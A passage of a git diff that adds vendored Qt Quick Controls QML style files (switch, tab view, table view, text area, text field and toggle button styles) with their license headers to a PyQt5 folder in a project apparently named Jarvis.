Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype SwitchStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.2 + \ingroup controlsstyling + \brief Provides custom styling for Switch. + + Example: + \qml + Switch { + style: SwitchStyle { + groove: Rectangle { + implicitWidth: 100 + implicitHeight: 20 + radius: 9 + border.color: control.activeFocus ? "darkblue" : "gray" + border.width: 1 + } + } + } + \endqml +*/ +Style { + id: switchstyle + + /*! The content padding. */ + padding { + top: 0 + left: 0 + right: 0 + bottom: 0 + } + + /*! This defines the switch handle. */ + property Component handle: Rectangle { + opacity: control.enabled ? 1.0 : 0.5 + implicitWidth: Math.round((parent.parent.width - padding.left - padding.right)/2) + implicitHeight: control.height - padding.top - padding.bottom + + border.color: control.activeFocus ? Qt.darker(highlight, 2) : Qt.darker(button, 2) + property color bg: control.activeFocus ? Qt.darker(highlight, 1.2) : button + property color highlight: SystemPaletteSingleton.highlight(control.enabled) + property color button: SystemPaletteSingleton.button(control.enabled) + gradient: Gradient { + GradientStop {color: Qt.lighter(bg, 1.4) ; position: 0} + GradientStop {color: bg ; position: 1} + } + + radius: 2 + } + + /*! This property holds the background groove of the switch. */ + property Component groove: Rectangle { + property color shadow: control.checked ? Qt.darker(highlight, 1.2): "#999" + property color bg: control.checked ? highlight:"#bbb" + property color highlight: SystemPaletteSingleton.highlight(control.enabled) + + implicitWidth: Math.round(implicitHeight * 3) + implicitHeight: Math.max(16, Math.round(TextSingleton.implicitHeight)) + + border.color: "gray" + color: "red" + + radius: 2 + Behavior on shadow {ColorAnimation{ duration: 80 }} + Behavior on bg {ColorAnimation{ duration: 80 }} + gradient: Gradient { + GradientStop {color: shadow; position: 0} + GradientStop {color: bg ; position: 0.2} + GradientStop {color: bg ; position: 1} + } + Rectangle { + color: "#44ffffff" + height: 1 + anchors.bottom: parent.bottom + anchors.bottomMargin: -1 + width: parent.width - 2 + x: 1 + } + } + + /*! \internal */ + property Component panel: Item { + + implicitWidth: Math.round(grooveLoader.width + padding.left + padding.right) + implicitHeight: grooveLoader.implicitHeight + padding.top + padding.bottom + + property var __handle: handleLoader + property int min: padding.left + property int max: grooveLoader.width - handleLoader.width - padding.right + + Loader { + id: grooveLoader + y: padding.top + x: padding.left + + sourceComponent: groove + anchors.verticalCenter: parent.verticalCenter + + + Loader { + id: handleLoader + + z:1 + + x: control.checked ? max : min + + anchors.top: grooveLoader.top + anchors.bottom: grooveLoader.bottom + anchors.topMargin: padding.top + anchors.bottomMargin: padding.bottom + + Behavior on x { + id: behavior + enabled: handleLoader.status === Loader.Ready + NumberAnimation { + duration: 150 + easing.type: Easing.OutCubic + } + } + + sourceComponent: handle + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SwitchStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SwitchStyle.qmlc new file mode 100644 index 00000000..a3c105a4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/SwitchStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TabViewStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TabViewStyle.qml new file mode 100644 index 00000000..2d7d2d91 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TabViewStyle.qml @@ -0,0 +1,194 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype TabViewStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.1 + \ingroup viewsstyling + \ingroup controlsstyling + \brief Provides custom styling for TabView. + +\qml + TabView { + id: frame + anchors.fill: parent + anchors.margins: 4 + Tab { title: "Tab 1" } + Tab { title: "Tab 2" } + Tab { title: "Tab 3" } + + style: TabViewStyle { + frameOverlap: 1 + tab: Rectangle { + color: styleData.selected ? "steelblue" :"lightsteelblue" + border.color: "steelblue" + implicitWidth: Math.max(text.width + 4, 80) + implicitHeight: 20 + radius: 2 + Text { + id: text + anchors.centerIn: parent + text: styleData.title + color: styleData.selected ? "white" : "black" + } + } + frame: Rectangle { color: "steelblue" } + } + } +\endqml + +*/ + +Style { + + /*! The \l ScrollView this style is attached to. */ + readonly property TabView control: __control + + /*! This property holds whether the user can move the tabs. + Tabs are not movable by default. */ + property bool tabsMovable: false + + /*! This property holds the horizontal alignment of + the tab buttons. Supported values are: + \list + \li Qt.AlignLeft (default) + \li Qt.AlignHCenter + \li Qt.AlignRight + \endlist + */ + property int tabsAlignment: Qt.AlignLeft + + /*! This property holds the amount of overlap there are between + individual tab buttons. */ + property int tabOverlap: 1 + + /*! This property holds the amount of overlap there are between + individual tab buttons and the frame. */ + property int frameOverlap: 2 + + /*! This defines the tab frame. */ + property Component frame: Rectangle { + color: "#dcdcdc" + border.color: "#aaa" + + Rectangle { + anchors.fill: parent + color: "transparent" + border.color: "#66ffffff" + anchors.margins: 1 + } + } + + /*! This defines the tab. You can access the tab state through the + \c styleData property, with the following properties: + + \table + \row \li readonly property int \b styleData.index \li This is the current tab index. + \row \li readonly property bool \b styleData.selected \li This is the active tab. + \row \li readonly property string \b styleData.title \li Tab title text. + \row \li readonly property bool \b styleData.nextSelected \li The next tab is selected. + \row \li readonly property bool \b styleData.previousSelected \li The previous tab is selected. + \row \li readonly property bool \b styleData.pressed \li The tab is being pressed. (since QtQuick.Controls.Styles 1.3) + \row \li readonly property bool \b styleData.hovered \li The tab is being hovered. + \row \li readonly property bool \b styleData.enabled \li The tab is enabled. (since QtQuick.Controls.Styles 1.2) + \row \li readonly property bool \b styleData.activeFocus \li The tab button has keyboard focus. + \row \li readonly property bool \b styleData.availableWidth \li The available width for the tabs. + \row \li readonly property bool \b styleData.totalWidth \li The total width of the tabs. (since QtQuick.Controls.Styles 1.2) + \endtable + */ + property Component tab: Item { + scale: control.tabPosition === Qt.TopEdge ? 1 : -1 + + property int totalOverlap: tabOverlap * (control.count - 1) + property real maxTabWidth: control.count > 0 ? (styleData.availableWidth + totalOverlap) / control.count : 0 + + implicitWidth: Math.round(Math.min(maxTabWidth, textitem.implicitWidth + 20)) + implicitHeight: Math.round(textitem.implicitHeight + 10) + + Item { + anchors.fill: parent + anchors.bottomMargin: styleData.selected ? 0 : 2 + BorderImage { + anchors.fill: parent + source: styleData.selected ? "images/tab_selected.png" : "images/tab.png" + border.top: 6 + border.bottom: 6 + border.left: 6 + border.right: 6 + anchors.topMargin: styleData.selected ? 0 : 1 + } + } + Text { + id: textitem + anchors.fill: parent + anchors.leftMargin: 4 + anchors.rightMargin: 4 + verticalAlignment: Text.AlignVCenter + horizontalAlignment: Text.AlignHCenter + text: styleData.title + elide: Text.ElideMiddle + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + scale: control.tabPosition === Qt.TopEdge ? 1 : -1 + color: SystemPaletteSingleton.text(styleData.enabled) + Rectangle { + anchors.centerIn: parent + width: textitem.paintedWidth + 6 + height: textitem.paintedHeight + 4 + visible: (styleData.activeFocus && styleData.selected) + radius: 3 + color: "#224f9fef" + border.color: "#47b" + } + } + } + + /*! This defines the left corner. */ + property Component leftCorner: null + + /*! This defines the right corner. */ + property Component rightCorner: null + + /*! This defines the tab bar background. */ + property Component tabBar: null +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TabViewStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TabViewStyle.qmlc new file mode 100644 index 00000000..cea0d59d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TabViewStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TableViewStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TableViewStyle.qml new file mode 100644 index 00000000..f7a6bfa1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TableViewStyle.qml @@ -0,0 +1,47 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.5 +import QtQuick.Controls 1.4 + +BasicTableViewStyle { + id: root + + readonly property TableView control: __control +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TableViewStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TableViewStyle.qmlc new file mode 100644 index 00000000..2ad2120a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TableViewStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TextAreaStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TextAreaStyle.qml new file mode 100644 index 00000000..8c08e211 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TextAreaStyle.qml @@ -0,0 +1,158 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype TextAreaStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.2 + \ingroup controlsstyling + \brief Provides custom styling for TextArea. + + Example: + \qml + TextArea { + style: TextAreaStyle { + textColor: "#333" + selectionColor: "steelblue" + selectedTextColor: "#eee" + backgroundColor: "#eee" + } + } + \endqml +*/ + +ScrollViewStyle { + id: style + + /*! The \l TextArea this style is attached to. */ + readonly property TextArea control: __control + + /*! The current font. */ + property font font + + /*! The text color. */ + property color textColor: SystemPaletteSingleton.text(control.enabled) + + /*! The text highlight color, used behind selections. */ + property color selectionColor: SystemPaletteSingleton.highlight(control.enabled) + + /*! The highlighted text color, used in selections. */ + property color selectedTextColor: SystemPaletteSingleton.highlightedText(control.enabled) + + /*! The background color. */ + property color backgroundColor: control.backgroundVisible ? SystemPaletteSingleton.base(control.enabled) : "transparent" + + /*! + \qmlproperty enumeration renderType + + Override the default rendering type for the control. + + Supported render types are: + \list + \li Text.QtRendering + \li Text.NativeRendering + \endlist + + The default value is platform dependent. + + \sa Text::renderType + */ + property int renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + + /*! The default margin, in pixels, around the text in the TextArea. + \since QtQuick.Controls.Styles 1.3 + \sa TextArea::textMargin */ + property real textMargin: 4 + + /*! \internal + The cursor handle. + \since QtQuick.Controls.Styles 1.3 + + The parent of the handle is positioned to the top left corner of + the cursor position. The interactive area is determined by the + geometry of the handle delegate. + + The following signals and read-only properties are available within the scope + of the handle delegate: + \table + \row \li \b {styleData.activated()} [signal] \li Emitted when the handle is activated ie. the editor is clicked. + \row \li \b {styleData.pressed} : bool \li Whether the handle is pressed. + \row \li \b {styleData.position} : int \li The character position of the handle. + \row \li \b {styleData.lineHeight} : real \li The height of the line the handle is on. + \row \li \b {styleData.hasSelection} : bool \li Whether the editor has selected text. + \endtable + */ + property Component __cursorHandle + + /*! \internal + The selection handle. + \since QtQuick.Controls.Styles 1.3 + + The parent of the handle is positioned to the top left corner of + the first selected character. The interactive area is determined + by the geometry of the handle delegate. + + The following signals and read-only properties are available within the scope + of the handle delegate: + \table + \row \li \b {styleData.activated()} [signal] \li Emitted when the handle is activated ie. the editor is clicked. + \row \li \b {styleData.pressed} : bool \li Whether the handle is pressed. + \row \li \b {styleData.position} : int \li The character position of the handle. + \row \li \b {styleData.lineHeight} : real \li The height of the line the handle is on. + \row \li \b {styleData.hasSelection} : bool \li Whether the editor has selected text. + \endtable + */ + property Component __selectionHandle + + /*! \internal + The cursor delegate. + \since QtQuick.Controls.Styles 1.3 + */ + property Component __cursorDelegate + + /*! \internal + The delegate for the cut/copy/paste menu. + \since QtQuick.Controls.Styles 1.4 + */ + property Component __editMenu +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TextAreaStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TextAreaStyle.qmlc new file mode 100644 index 00000000..4c8f422b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TextAreaStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TextFieldStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TextFieldStyle.qml new file mode 100644 index 00000000..338b7af0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TextFieldStyle.qml @@ -0,0 +1,221 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype TextFieldStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.1 + \ingroup controlsstyling + \brief Provides custom styling for TextField. + + Example: + \qml + TextField { + style: TextFieldStyle { + textColor: "black" + background: Rectangle { + radius: 2 + implicitWidth: 100 + implicitHeight: 24 + border.color: "#333" + border.width: 1 + } + } + } + \endqml +*/ + +Style { + id: style + + /*! The \l TextField this style is attached to. */ + readonly property TextField control: __control + + /*! The content margins of the text field. */ + padding { top: 4 ; left: Math.round(control.__contentHeight/3) ; right: control.__contentHeight/3 ; bottom: 4 } + + /*! The current font. */ + property font font + + /*! The text color. */ + property color textColor: SystemPaletteSingleton.text(control.enabled) + + /*! The text highlight color, used behind selections. */ + property color selectionColor: SystemPaletteSingleton.highlight(control.enabled) + + /*! The highlighted text color, used in selections. */ + property color selectedTextColor: SystemPaletteSingleton.highlightedText(control.enabled) + + /*! + \qmlproperty string passwordCharacter + \since QtQuick.Controls.Styles 1.4 + + The password character that is displayed when echoMode + on the TextField is set to TextInput.Password or + TextInput.PasswordEchoOnEdit. + */ + property string passwordCharacter: Qt.styleHints.passwordMaskCharacter + + /*! + \qmlproperty enumeration renderType + \since QtQuick.Controls.Styles 1.1 + + Override the default rendering type for the control. + + Supported render types are: + \list + \li Text.QtRendering + \li Text.NativeRendering + \endlist + + The default value is platform dependent. + + \sa Text::renderType + */ + property int renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + + /*! The placeholder text color, used when the text field is empty. + \since QtQuick.Controls.Styles 1.1 + */ + property color placeholderTextColor: Qt.rgba(0, 0, 0, 0.5) + + /*! The background of the text field. */ + property Component background: Item { + Rectangle { + anchors.fill: parent + anchors.bottomMargin: -1 + color: "#44ffffff" + radius: baserect.radius + } + Rectangle { + id: baserect + gradient: Gradient { + GradientStop {color: "#e0e0e0" ; position: 0} + GradientStop {color: "#fff" ; position: 0.1} + GradientStop {color: "#fff" ; position: 1} + } + radius: control.__contentHeight * 0.16 + anchors.fill: parent + border.color: control.activeFocus ? "#47b" : "#999" + } + } + + /*! \internal */ + property Component panel: Item { + anchors.fill: parent + + property int topMargin: padding.top + property int leftMargin: padding.left + property int rightMargin: padding.right + property int bottomMargin: padding.bottom + + property color textColor: style.textColor + property color selectionColor: style.selectionColor + property color selectedTextColor: style.selectedTextColor + + implicitWidth: backgroundLoader.implicitWidth || Math.round(control.__contentHeight * 8) + implicitHeight: backgroundLoader.implicitHeight || Math.max(25, Math.round(control.__contentHeight * 1.2)) + baselineOffset: padding.top + control.__baselineOffset + + property color placeholderTextColor: style.placeholderTextColor + property font font: style.font + + Loader { + id: backgroundLoader + sourceComponent: background + anchors.fill: parent + } + } + + /*! \internal + The cursor handle. + \since QtQuick.Controls.Styles 1.3 + + The parent of the handle is positioned to the top left corner of + the cursor position. The interactive area is determined by the + geometry of the handle delegate. + + The following signals and read-only properties are available within the scope + of the handle delegate: + \table + \row \li \b {styleData.activated()} [signal] \li Emitted when the handle is activated ie. the editor is clicked. + \row \li \b {styleData.pressed} : bool \li Whether the handle is pressed. + \row \li \b {styleData.position} : int \li The character position of the handle. + \row \li \b {styleData.lineHeight} : real \li The height of the line the handle is on. + \row \li \b {styleData.hasSelection} : bool \li Whether the editor has selected text. + \endtable + */ + property Component __cursorHandle + + /*! \internal + The selection handle. + \since QtQuick.Controls.Styles 1.3 + + The parent of the handle is positioned to the top left corner of + the first selected character. The interactive area is determined + by the geometry of the handle delegate. + + The following signals and read-only properties are available within the scope + of the handle delegate: + \table + \row \li \b {styleData.activated()} [signal] \li Emitted when the handle is activated ie. the editor is clicked. + \row \li \b {styleData.pressed} : bool \li Whether the handle is pressed. + \row \li \b {styleData.position} : int \li The character position of the handle. + \row \li \b {styleData.lineHeight} : real \li The height of the line the handle is on. + \row \li \b {styleData.hasSelection} : bool \li Whether the editor has selected text. + \endtable + */ + property Component __selectionHandle + + /*! \internal + The cursor delegate. + \since QtQuick.Controls.Styles 1.3 + */ + property Component __cursorDelegate + + /*! \internal + The delegate for the cut/copy/paste menu. + \since QtQuick.Controls.Styles 1.4 + */ + property Component __editMenu +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TextFieldStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TextFieldStyle.qmlc new file mode 100644 index 00000000..fb5607a6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TextFieldStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToggleButtonStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToggleButtonStyle.qml new file mode 100644 index 00000000..2c47b4bf --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToggleButtonStyle.qml @@ -0,0 +1,290 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtGraphicalEffects 1.0 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Extras 1.4 +import QtQuick.Extras.Private 1.0 +import QtQuick.Extras.Private.CppUtils 1.0 + +/*! + \qmltype ToggleButtonStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.5 + \ingroup controlsstyling + \brief Provides custom styling for ToggleButton. + + You can create a custom toggle button by replacing the same delegates that + \l {ButtonStyle} provides. +*/ + +CircularButtonStyle { + id: circularButtonStyle + + /*! + The \l ToggleButton that this style is attached to. + */ + readonly property ToggleButton control: __control + + /*! + The gradient that is displayed on the inactive state indicator. The + inactive state indicator will be the checked gradient when the button + is unchecked, and the unchecked gradient when the button is checked. + + \sa checkedGradient, uncheckedGradient + */ + property Gradient inactiveGradient: Gradient { + GradientStop { + position: 0 + color: commonStyleHelper.inactiveColor + } + GradientStop { + position: 1 + color: commonStyleHelper.inactiveColorShine + } + } + + /*! + The gradient that is displayed on the checked state indicator. + + \sa uncheckedGradient, inactiveGradient + */ + property Gradient checkedGradient: Gradient { + GradientStop { + position: 0 + color: commonStyleHelper.onColor + } + GradientStop { + position: 1 + color: commonStyleHelper.onColorShine + } + } + + /*! + The gradient that is displayed on the unchecked state indicator. + + \sa checkedGradient, inactiveGradient + */ + property Gradient uncheckedGradient: Gradient { + GradientStop { + position: 0 + color: commonStyleHelper.offColor + } + GradientStop { + position: 1 + color: commonStyleHelper.offColorShine + } + } + + /*! + The color that is used for the drop shadow below the checked state + indicator. + + \sa uncheckedDropShadowColor + */ + property color checkedDropShadowColor: commonStyleHelper.onColor + + /*! + The color that is used for the drop shadow below the checked state + indicator. + + \sa checkedDropShadowColor + */ + property color uncheckedDropShadowColor: commonStyleHelper.offColor + + CommonStyleHelper { + id: commonStyleHelper + } + + background: Item { + implicitWidth: __buttonHelper.implicitWidth + implicitHeight: __buttonHelper.implicitHeight + + Connections { + target: control + function onPressedChanged() { + backgroundCanvas.requestPaint(); + } + + function onCheckedChanged() { + uncheckedCanvas.requestPaint(); + checkedCanvas.requestPaint(); + } + } + + Connections { + target: circularButtonStyle + + function onCheckedGradientChanged() { checkedCanvas.requestPaint() } + function onCheckedDropShadowColorChanged() { checkedCanvas.requestPaint() } + function onUncheckedGradientChanged() { uncheckedCanvas.requestPaint() } + function onUncheckedDropShadowColorChanged() { uncheckedCanvas.requestPaint() } + function onInactiveGradientChanged() { + checkedCanvas.requestPaint(); + uncheckedCanvas.requestPaint(); + } + } + + Connections { + target: circularButtonStyle.checkedGradient + function onUpdated() { checkedCanvas.requestPaint() } + } + + Connections { + target: circularButtonStyle.uncheckedGradient + function onUpdated() { uncheckedCanvas.requestPaint() } + } + + Connections { + target: circularButtonStyle.inactiveGradient + function onUpdated() { + uncheckedCanvas.requestPaint(); + checkedCanvas.requestPaint(); + } + } + + Canvas { + id: backgroundCanvas + anchors.fill: parent + + onPaint: { + var ctx = getContext("2d"); + __buttonHelper.paintBackground(ctx); + } + } + + Canvas { + id: uncheckedCanvas + anchors.fill: parent + anchors.margins: -(__buttonHelper.radius * 3) + visible: control.checked + + readonly property real xCenter: width / 2 + readonly property real yCenter: height / 2 + + onPaint: { + var ctx = getContext("2d"); + ctx.reset(); + + /* Draw unchecked indicator */ + ctx.beginPath(); + ctx.lineWidth = __buttonHelper.outerArcLineWidth - __buttonHelper.innerArcLineWidth; + ctx.arc(xCenter, yCenter, __buttonHelper.outerArcRadius + __buttonHelper.innerArcLineWidth / 2, + MathUtils.degToRad(180), MathUtils.degToRad(270), false); + var gradient = ctx.createLinearGradient(xCenter, yCenter + __buttonHelper.radius, + xCenter, yCenter - __buttonHelper.radius); + var relevantGradient = control.checked ? inactiveGradient : uncheckedGradient; + for (var i = 0; i < relevantGradient.stops.length; ++i) { + gradient.addColorStop(relevantGradient.stops[i].position, relevantGradient.stops[i].color); + } + ctx.strokeStyle = gradient; + ctx.stroke(); + } + } + + Canvas { + id: checkedCanvas + anchors.fill: parent + anchors.margins: -(__buttonHelper.radius * 3) + visible: !control.checked + + readonly property real xCenter: width / 2 + readonly property real yCenter: 